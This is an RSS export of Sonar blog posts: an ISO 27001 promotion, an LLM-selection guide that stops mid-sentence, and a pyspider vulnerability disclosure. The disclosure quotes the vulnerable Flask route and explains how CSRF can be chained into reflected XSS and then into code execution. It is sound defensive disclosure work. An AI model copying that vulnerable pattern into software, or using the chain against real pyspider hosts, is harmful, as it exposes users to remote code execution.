<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Sonar Blog RSS feed]]></title><description><![CDATA[Sonar Blog RSS feed]]></description><link>https://www.sonarsource.com</link><generator>GatsbyJS</generator><lastBuildDate>Thu, 05 Sep 2024 19:56:03 GMT</lastBuildDate><item><title><![CDATA[ISO 27001 Importance]]></title><description><![CDATA[Security standards such as ISO 27001 are crucial for businesses as they offer a structured framework for managing and safeguarding sensitive information. ]]></description><link>https://www.sonarsource.com/blog/iso-27001-importance</link><guid isPermaLink="false">b429d07f-6005-546a-ae03-b710994755de</guid><dc:creator><![CDATA[Mark Clements]]></dc:creator><pubDate>Tue, 03 Sep 2024 22:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The Importance of ISO 27001&lt;/h2&gt;&lt;p&gt;ISO 27001 is the commonly recognized standard for information security management systems (ISMS), outlining the requirements an ISMS must meet. Security standards such as&lt;a href=&quot;https://www.iso.org/standard/27001&quot;&gt; ISO 27001&lt;/a&gt; are crucial for businesses as they offer a structured framework for managing and safeguarding sensitive information. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These standards establish a set of practices and controls that have proven to enhance information security when implemented and adhered to. Additionally, the requirement for senior management involvement and accountability ensures a strategic and financial commitment to achieving stronger security. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Achieving certification requires inspection and assessment by a third party, which instills confidence in customers and stakeholders regarding the company&amp;#x27;s ability to safeguard their data.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h2&gt;Challenges in Meeting Secure Coding Standards for ISO 27001 Compliance&lt;/h2&gt;&lt;p&gt;Ensuring that the control requirements are met and that these controls operate effectively across all processes can be a significant challenge for companies, particularly for those developing software with ambitious business goals. These challenges can lead to friction between the product and engineering teams and the security and compliance teams.&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s consider the ISO 27002 control, 8.28 Secure coding, the objective of which is “to ensure software is written securely thereby reducing the number of potential information security vulnerabilities in the software”. Conforming to the requirements of this control manually can be a burden to the organization:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;“using secure programming techniques, such as peer review”&lt;/li&gt;&lt;li&gt;“secure coding practices specific to the programming languages being used”&lt;/li&gt;&lt;li&gt;“using structured programming techniques”&lt;/li&gt;&lt;li&gt;“prohibiting the use of insecure design techniques”&lt;/li&gt;&lt;li&gt;“conducting an analysis of the most common programming errors”&lt;/li&gt;&lt;li&gt;“ensuring that software is maintainable”&lt;/li&gt;&lt;/ul&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;While pair programming has proven benefits, peer-reviewing all code changes with the same level of detail and accuracy is difficult and resource-intensive. The need for additional resources when multiple languages are being used just exacerbates the problem. Manual peer review is a tax on developer productivity.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For teams working towards aggressive deadlines with overstuffed sprints, these important controls often become lower priorities. This leads to the deployment of code that may work well at the time but is difficult to maintain and contains exploitable vulnerabilities. When the auditor requests evidence of a consistent operation of security controls in the development process, a successful recertification is put at risk.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h2&gt;Implementing 8.28 Secure Coding with Sonar&lt;/h2&gt;&lt;p&gt;Sonar’s Clean Code solutions cover your code quality needs, improving code reliability, maintainability, and security. Sonar products (SonarQube, SonarCloud, and SonarLint) seamlessly integrate into your development and build processes, automatically enforcing  ISO 27002 8.28 Secure Coding controls for all code branches and pull requests. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You will also benefit from broad coverage of other ISO 27002 controls such as 8.26 Application Security Requirements, and 8.29 Security Testing in Development and Testing. The impact on the developers is minimal and predictable, as all they need to do is correct the findings.  Using the IDE-integrated SonarLint plugin shifts this process even further left, catching issues in real-time as they are coding. And, with static analysis rules for 30+ programming languages, it is easy to ensure the full development stack is covered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Project managers will have access to consolidated statistics via rich reports and dashboards of findings and outstanding issues to ensure consistent measurement of quality and security across all products, departments, and teams. Quality and security gates can be fine-tuned to promote continuous improvement. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar also simplifies the process of providing evidence of secure and high-quality code to auditors. All changes are tracked and reported through the enterprise reports. Continuous improvement can also be demonstrated to the auditor, evidencing the raising of the gate and the drop in the number of findings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Furthermore, by continuously educating developers through 5000+ static analysis rules, you can demonstrate that developers are adequately trained in accordance with ISO 27002 8.25, the Secure development life cycle that requires “application security knowledge and training.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ready to enhance your code security and streamline compliance? Integrate &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; into your development workflow to automatically enforce ISO 27002 8.28 Secure Coding controls. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Start your journey towards robust, secure code and efficient compliance by&lt;a href=&quot;https://www.sonarsource.com/request-demo/&quot;&gt; requesting a demo&lt;/a&gt; or&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/enterprise-edition/upgrade/&quot;&gt; evaluating SonarQube&lt;/a&gt; or &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud &lt;/a&gt;today!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Basic HTTP Authentication Risk: Uncovering pyspider Vulnerabilities]]></title><description><![CDATA[pyspider uses the convenient “basic HTTP authentication” method, but browsers don’t take the extra step to protect users from CSRF attacks. Learn more on how SonarCloud detected 2 vulnerabilities in this open-source project.]]></description><link>https://www.sonarsource.com/blog/basic-http-authentication-risk-uncovering-pyspider-vulnerabilities</link><guid isPermaLink="false">4c694acd-5473-57a7-b6c6-b2e884e00c19</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 02 Sep 2024 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://docs.pyspider.org/en/latest/&quot;&gt;pyspider&lt;/a&gt; is a powerful and versatile web crawling framework that caters to various use cases. With its user-friendly approach, robust features, and extensive support for different technologies, it&amp;#x27;s a great choice for developers who want to build reliable and efficient web scrapers in Python. Unfortunately in the last years, the project was neglected and left unmaintained, and as a result of our reporting, the maintainer archived the GitHub repository to highlight that the project is not updated anymore. This also means that security vulnerabilities are not fixed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Driven by our dedication to both open-source security and the advancement of our Clean Code technology, we leverage &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; to conduct frequent vulnerability scans on open-source projects. This not only benefits the broader open-source community but also strengthens our own tools – and the best part? SonarCloud offers free code analysis for any open-source project, making it accessible to everyone.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This article delves into the consequences of vulnerabilities found by our engine and uncovers the risk of using basic HTTP authentication. We&amp;#x27;ll also explore how attackers might leverage this vulnerability.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;An attacker might manipulate an authenticated victim to click on a malicious link, resulting in code execution on the host running pyspider. After we reported our findings, the maintainer has archived the repository on GitHub, making sure users are aware the project isn’t supported anymore (refer to the &lt;a href=&quot;#patch&quot;&gt;Patch&lt;/a&gt; and &lt;a href=&quot;#timeline&quot;&gt;Timeline&lt;/a&gt; sections for more info).&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/HTzmTucyHmQ&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will cover the technical details of the findings, and interesting security information for developers opting to use the basic HTTP authentication in their application.&lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;Before delving into the details of the findings, we first need to understand some basic features of the application. pyspider provides users with a convenient &lt;a href=&quot;https://docs.pyspider.org/en/latest/Command-Line/#webui&quot;&gt;WebUI component&lt;/a&gt; that allows project management, task monitoring, viewing results, and crawl script code editors. From a security point of view, the code editor feature allows running arbitrary Python code on the machine through the web interface, by design. To protect an externally exposed instance, pyspider offers the ability to enable authentication via the &lt;a href=&quot;https://docs.pyspider.org/en/latest/Command-Line/#-need-auth&quot;&gt;--need-auth&lt;/a&gt; flag.&lt;/p&gt;&lt;h3&gt;Discovering vulnerabilities&lt;/h3&gt;&lt;p&gt;SonarCloud, our cloud-based code analysis service, employs cutting-edge static analysis techniques to identify quality issues, bugs, and security weaknesses within your code. During a routine scan of public open-source projects, SonarCloud identified the following issues in pyspider&amp;#x27;s WebUI component (&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_pyspider-blogpost&amp;open=AY9xKZX48flNzQPVUOH6&quot;&gt;see it yourself on SonarCloud&lt;/a&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/aaa3c4d9-505e-413c-81df-9bca1c73fe2d/dashboard_sonar.png&quot; /&gt;&lt;p&gt;The first one is a detected vulnerability covering a Cross-Site Scripting (XSS) reflection on the &lt;code&gt;/update&lt;/code&gt; route via the &lt;code&gt;name&lt;/code&gt; parameter:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d9430d1e-330d-45ad-ae10-3b7477cc1659/XSS_sonar.png&quot; /&gt;&lt;p&gt;The second finding is a security hotspot warning us that there is a risk of Cross-Site Request Forgery (CSRF) when using Flask without any protection.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/17ea3d24-1bda-44fd-a1cb-7910043745f5/CSRF_sonar.png&quot; /&gt;&lt;p&gt;The key distinction between a hotspot and a vulnerability lies in the &lt;strong&gt;immediacy of the security risk&lt;/strong&gt;. (&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/security-hotspots/#vulnerability-or-hotspot&quot;&gt;read more in the official documentation&lt;/a&gt;)&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Hotspot:&lt;/strong&gt; A hotspot flags a potentially risky code section that might become a vulnerability in certain contexts. It&amp;#x27;s like a yellow traffic light – proceed with caution and review the code. The overall application security might not be compromised, but further analysis is recommended.&lt;br/&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; A detected vulnerability represents a high likelihood of a security weakness that can be exploited by attackers. It&amp;#x27;s akin to a red traffic light – stop and fix the issue immediately. Vulnerabilities pose a clear and present danger to the application&amp;#x27;s security.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s consider a CSRF hotspot rule: &lt;br/&gt;The scanner might highlight a POST endpoint that doesn&amp;#x27;t include a CSRF token. This is a hotspot because, without a token, an attacker could potentially craft a malicious request that tricks a user&amp;#x27;s browser into submitting the form unintentionally. However, a CSRF attack can be mitigated already depending on the cookie’s &lt;a href=&quot;https://web.dev/articles/samesite-cookies-explained&quot;&gt;SameSite&lt;/a&gt; type used in the application. Or, the application logic of that endpoint doesn&amp;#x27;t have any security impact nor require authentication in the first place. For those reasons, it might be considered a low-priority hotspot for review, depending on the specific context of the application.&lt;/p&gt;&lt;h3&gt;Basic HTTP authentication CSRF (CVE-2024-39163)&lt;/h3&gt;&lt;p&gt;In the case of pyspider, the hotspot was relevant and exploitable. As mentioned before, access to the pyspider WebUI is equivalent to code execution. In instances where authentication is not enabled, it&amp;#x27;s considered a risk introduced by the pyspider user rather than a vulnerability. We are interested to see what can go wrong if authentication is enabled.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before trying to validate the CSRF hotspot, let&amp;#x27;s see how pyspider implements authentication. Setting up the application using the &lt;code&gt;--need-auth&lt;/code&gt; flag, and trying to access the web interface we are introduced to the following browser-default login prompt:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1e4e3dc9-f178-44cb-9399-3b51bdfe34a5/login_prompt.png&quot; /&gt;&lt;p&gt;This authentication method is used under the hood is &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7617&quot;&gt;&lt;em&gt;Basic HTTP authentication&lt;/em&gt;&lt;/a&gt;. While this is a rather legacy authentication mechanism it is still supported by modern browsers. On top of that they handle it conveniently, by using the built-in UI prompt and sending the credentials in the subsequent requests via the &lt;code&gt;Authorization&lt;/code&gt; header:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4858d20d-ac35-48de-a76c-564ce972f76c/network_flow.png&quot; /&gt;&lt;p&gt;Unlike the other common way of authentication and maintaining a session via cookies, the browser doesn&amp;#x27;t implement any CSRF mitigation for the basic HTTP authentication and the corresponding &lt;code&gt;Authorization&lt;/code&gt; header, such as &lt;a href=&quot;https://web.dev/articles/samesite-cookies-explained&quot;&gt;SameSite cookies&lt;/a&gt;. The browser adds the &lt;code&gt;Authorization&lt;/code&gt; header containing the Basic auth credentials to all cross-site requests as well. This means that the only thing standing between a CSRF vulnerability and the application are mitigations on the endpoint level (a &lt;a href=&quot;https://portswigger.net/web-security/csrf#:~:text=Common%20defences%20against%20CSRF&quot;&gt;CSRF token&lt;/a&gt;, for instance).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because no mitigation steps are taken, an attacker would just need to understand which requests are made to execute arbitrary code on the machine and craft a malicious website that replicates them, exploiting the CSRF vulnerability. Manipulating an authenticated victim to visit the attacker’s website will result in arbitrary code execution.&lt;/p&gt;&lt;h3&gt;Reflected XSS Vulnerability (CVE-2024-39162)&lt;/h3&gt;&lt;p&gt;The second detected vulnerability reported by SonarCloud is an XSS in the &lt;code&gt;/update&lt;/code&gt; endpoint. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;@app.route(&apos;/update&apos;, methods=[&apos;POST&apos;, ])
def project_update():
    # ...
    name = request.form[&apos;name&apos;]
    # ...
    if name not in (&apos;group&apos;, &apos;status&apos;, &apos;rate&apos;):
        return &apos;unknown field: %s&apos; % name, 400&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This simple example showcases how a reflected XSS looks like on the code level. A parameter is taken from the request (a user input) and if certain conditions match, the value is reflected back to the user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While this is a &lt;code&gt;POST&lt;/code&gt;-only endpoint, an attacker cannot simply craft a malicious link with a reflected XSS payload, but by leveraging the first finding, an attacker can create a malicious website that uses CSRF and elevate it to XSS. From there, code execution on the server is an intended feature. &lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;After disclosing the vulnerabilities the maintainer stated that this project is no longer maintained and archived the repository on GitHub as a result. We recommend avoiding using unmaintained code, or as a last resort, disabling the &lt;em&gt;WebUI&lt;/em&gt; component of pyspider.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-04-03&lt;/td&gt;&lt;td&gt;We reported all issues to the maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-04-29&lt;/td&gt;&lt;td&gt;We pinged the maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-05-03&lt;/td&gt;&lt;td&gt;We pinged the maintainers again mentioning that 60 days had passed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-06-03&lt;/td&gt;&lt;td&gt;We notified the maintainers that the &lt;a href=&quot;https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html&quot;&gt;90-day disclosure&lt;/a&gt; window has passed and we will release a blog post about the findings&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-06-11&lt;/td&gt;&lt;td&gt;The maintainer stated the project is unmaintained and archived the repository&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-05&lt;/td&gt;&lt;td&gt;CVE-2024-39163 and CVE-2024-39162 were assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog post delves into the critical role of code analysis in safeguarding applications. We showcase the power of SonarCloud, our cloud-based service that identifies security vulnerabilities often buried within your codebase. SonarCloud ensures Clean Code practices enhancing code readability, maintainability, and security. Clean code and proactive code analysis empower developers to build more secure applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We explored real-world examples of vulnerabilities unearthed by SonarCloud, highlighting the potential dangers they pose. And explained how legacy basic HTTP authentication could be convenient to use but might contain some security risks. Additionally, we demonstrated the differences between a “vulnerability” finding vs a “hotspot”, and why developers shouldn’t neglect them.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/dangerous-import-sourceforge-patches-critical-code-vulnerability/&quot;&gt;Dangerous Import: SourceForge Patches Critical Code Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-2/&quot;&gt;Parallel Code Security: The Challenge of Concurrency&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/apache-dubbo-consumer-risks/&quot;&gt;Apache Dubbo Consumer Risks: The Road Not Taken&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/micro-services-major-headaches-detecting-vulnerabilities-in-erxes-microservices/&quot;&gt;Micro Services, Major Headaches: Detecting Vulnerabilities in Erxes&amp;#x27; Microservices&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[How to Choose an LLM in Software Development]]></title><description><![CDATA[With so many Large Language Models (LLMs) out there, selecting the right LLM is crucial for any organization looking to integrate AI into its operations. ]]></description><link>https://www.sonarsource.com/blog/choosing-llm-software-development</link><guid isPermaLink="false">3954f3fc-9b85-54d2-8a8d-0c755f8d39d7</guid><dc:creator><![CDATA[Manish Kapur]]></dc:creator><pubDate>Tue, 27 Aug 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With so many Large Language Models (LLMs) out there, selecting the right LLM is crucial for any organization looking to integrate AI into its operations. Whether you’re developing AI-driven applications, automating tasks, or exploring &lt;a href=&quot;https://www.sonarsource.com/learn/ai-code-generation/&quot;&gt;AI for code generation&lt;/a&gt;, your choice of LLM can significantly influence your project’s success. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before diving into the technical details of selecting a Large Language Model, it&amp;#x27;s crucial to first define your business goals and specific use cases.  Determine the tasks you need the model to handle—whether it&amp;#x27;s Natural Language Processing (NLP) for customer support, speech recognition, a multimodal model for combining text and images, or &lt;a href=&quot;https://www.sonarsource.com/learn/ai-code-generation-benefits-risks/&quot;&gt;AI-assisted code generation&lt;/a&gt;. Start by identifying the specific modality you need. If you&amp;#x27;re focused on text processing, choose a text model—there&amp;#x27;s no need for an image or audio model. However, if your task involves table parsing, image analysis, or audio processing, you&amp;#x27;ll need a model tailored to that specific modality.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some LLMs are better suited for solving specific business challenges than others; one size does not fit all. By aligning the model’s capabilities with your business objectives, you can ensure that the technology you choose will effectively address your needs and deliver measurable value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog will guide you through the key considerations when choosing an LLM, especially for AI code generation, and will compare commercial and open-source LLMs to help you make an informed decision.&lt;/p&gt;&lt;h2&gt;Commercial LLMs vs. Open-Source LLMs&lt;/h2&gt;&lt;p&gt;There are two main categories of LLMs: commercial Large Language Models and open-source Large Language Models. Commercial LLMs, developed by companies like OpenAI, Google, or Microsoft, are proprietary models that come with a subscription fee. Open-source LLMs, such as those from the Hugging Face or Meta AI, are developed and maintained by a community of contributors and are freely available for anyone to use and modify. The choice between commercial and open-source LLMs often depends on factors like expertise, budget, and the specific requirements of the project. Let&amp;#x27;s now look at these factors and compare the strengths and weaknesses of commercial and open-source LLMs to help you make the best choice for your needs.&lt;/p&gt;&lt;h3&gt;Expertise and Setup&lt;/h3&gt;&lt;p&gt;Commercial LLM: These models are generally ready to use with minimal setup required. For instance, OpenAI’s GPT-4 offers pre-built capabilities that can be easily integrated into your applications, making it ideal for teams with limited AI/ML expertise. This approach is perfect for those looking to get started quickly without the need for deep technical knowledge.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: On the other hand, models like Meta’s &lt;a href=&quot;https://llama.meta.com/&quot;&gt;LLaMA&lt;/a&gt; or &lt;a href=&quot;https://arxiv.org/pdf/2205.01068&quot;&gt;OPT&lt;/a&gt; require significant expertise in fine-tuning and deployment. These models are more flexible and can be customized to fit specific needs, but they demand a team with strong AI/ML skills. This setup is ideal for organizations with in-house expertise that can manage and optimize these models to get the best results.&lt;/p&gt;&lt;h3&gt;Budget Considerations&lt;/h3&gt;&lt;p&gt;Commercial LLM: If you’re looking to minimize upfront costs, commercial LLM APIs are the way to go. They allow you to get your Minimum Viable Product (MVP) up and running quickly without the need for large R&amp;amp;D investments. However, keep in mind that as you scale, costs can rise significantly, especially with API usage fees.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: While the initial investment in setting up an open-source model may be higher, the long-term cost efficiency is better. Once the model is fine-tuned and deployed, you avoid the recurring API fees, making this option more cost-effective at scale.&lt;/p&gt;&lt;h3&gt;Time to Market&lt;/h3&gt;&lt;p&gt;Commercial LLM: If speed is your priority, commercial LLM APIs offer the fastest route to market. They are designed for rapid deployment, allowing you to quickly integrate AI capabilities into your applications. However, relying on these APIs may limit your competitive edge in the long run due to the lack of differentiation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: Although it takes more time to set up and fine-tune open-source models, the payoff is worth it. Customizations and optimizations can give you a sustainable competitive advantage, particularly in specialized use cases like AI code generation.&lt;/p&gt;&lt;h3&gt;Control Over Model Quality &amp;amp; Customization&lt;/h3&gt;&lt;p&gt;Commercial LLM: With commercial LLM APIs, your control over the model is limited. These models often operate as “black boxes,” meaning you can’t modify their inner workings. This lack of control can be a drawback if you need the model to behave in a specific way or adhere to particular standards, such as secure coding practices.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: Open-source models offer complete control over their architecture and behavior. For example, fine-tuning a model like &lt;a href=&quot;https://huggingface.co/EleutherAI/gpt-j-6b&quot;&gt;GPT-J&lt;/a&gt; or &lt;a href=&quot;https://ai.meta.com/blog/code-llama-large-language-model-coding/&quot;&gt;CodeLlama&lt;/a&gt; allows you to optimize it for code generation tasks, ensuring the generated code meets your specific quality and security standards.&lt;/p&gt;&lt;h3&gt;Data Privacy&lt;/h3&gt;&lt;p&gt;Commercial LLM: Many commercial models require sending your data to third-party servers for processing. This can be a dealbreaker for organizations dealing with sensitive data or operating in highly regulated industries.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: With open-source models, you have full control over your data. You can host the model on-premises, ensuring that all data stays within your organization’s secure environment. This is particularly important for companies handling confidential or sensitive information.&lt;/p&gt;&lt;h3&gt;Inference Speed&lt;/h3&gt;&lt;p&gt;Commercial LLM: Commercial LLMs&amp;#x27; inference speed is generally fast, but it can be impacted by API delays, high latency, or disruptions, especially as usage scales. This can be a bottleneck in time-sensitive applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: Open-source models give you the flexibility to optimize for lower latency, enabling faster and more consistent performance. Deploying the model locally on powerful, dedicated hardware, you can achieve better inference speeds.&lt;/p&gt;&lt;h3&gt;Cost Efficiency at Scale&lt;/h3&gt;&lt;p&gt;Commercial LLM: While commercial LLMs are easy to start with, costs can balloon as you scale, especially with per-token pricing models. This can become a significant expense for large-scale projects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: Once set up, open-source models typically offer a more predictable and lower-cost structure. For example, models like &lt;a href=&quot;https://huggingface.co/codeparrot/codeparrot&quot;&gt;CodeParrot&lt;/a&gt; can be run on your own infrastructure, making them more cost-effective in the long run.&lt;/p&gt;&lt;h3&gt;Size of LLM&lt;/h3&gt;&lt;p&gt;The size of an LLM is typically measured by the number of parameters it contains. Parameters are the elements within the model that are learned from the data during training, and they play a critical role in the model’s ability to understand and generate text. The key to choosing the right LLM lies in balancing the model’s size with your application’s specific requirements, cost constraints, and deployment environment. Often, experimenting with different model sizes and configurations can help identify the best fit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Commercial LLM: Commercial LLMs, developed by companies like OpenAI and Google, typically offer larger and more sophisticated models. These models have been trained on vast datasets and have undergone extensive fine-tuning, making them highly capable but also resource-intensive. The size of these models often translates to better performance, especially for complex tasks, but it also requires more powerful hardware and more substantial investment in terms of computational resources.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Open-Source Pre-Trained LLM: Open-source LLMs vary widely in size. While there are some large open-source models that rival commercial offerings, many open-source models are designed to be more lightweight and accessible, catering to developers who may not have access to high-end hardware. These smaller models are easier to deploy and can be more cost-effective, but they might not offer the same level of performance or accuracy as their larger, commercial counterparts. However, the flexibility to customize and optimize (fine-tuning, using &lt;a href=&quot;https://ai.meta.com/blog/retrieval-augmented-generation-streamlining-the-creation-of-intelligent-natural-language-processing-models/&quot;&gt;RAG&lt;/a&gt;) these models for specific tasks can sometimes offset the limitations of size.&lt;/p&gt;&lt;h2&gt;LLMs for AI Code Generation&lt;/h2&gt;&lt;p&gt;Choosing the right LLM for AI code generation involves balancing various factors such as code quality, security, customization, model size, and cost. Consider scalability and the balance between cost and performance. Additionally, ensure the model aligns with your ethical standards and has strong support, whether from a vendor or the open-source community.&lt;/p&gt;&lt;p&gt;When choosing an LLM for AI code generation, consider these additional criteria:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Supported Programming Languages:&lt;/strong&gt; Ensure the LLM supports the programming languages you&amp;#x27;re using in your project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Code Quality:&lt;/strong&gt; Look for an LLM that generates clean, well-structured, and efficient code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Accuracy:&lt;/strong&gt; The LLM should be able to generate code that functions correctly and meets your requirements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Integration Capabilities:&lt;/strong&gt; Consider how the LLM integrates with your development workflow and tools.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some popular LLMs used for AI code generation include:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OpenAI Codex&lt;/strong&gt; (Commercial): This LLM is specifically designed for code generation and can translate natural language instructions into Python, Java, JavaScript, and other programming languages.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;GitHub Copilot&lt;/strong&gt; (Commercial): This AI assistant, powered by OpenAI Codex, can suggest code completions and functions as you type. It integrates directly into development environments (IDEs) like Visual Studio Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TabNine&lt;/strong&gt; (Commercial): This AI coding assistant is designed for code completion and generation. It supports a wide range of programming languages and focuses on seamlessly integrating into various IDEs. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Code LLaMA&lt;/strong&gt; (Open source): A variant of the LLaMA model family, CodeLlama supports multiple programming languages and excels at generating and completing code with high accuracy. With fine-tuning, this model can be adapted for specific coding tasks, making it a versatile 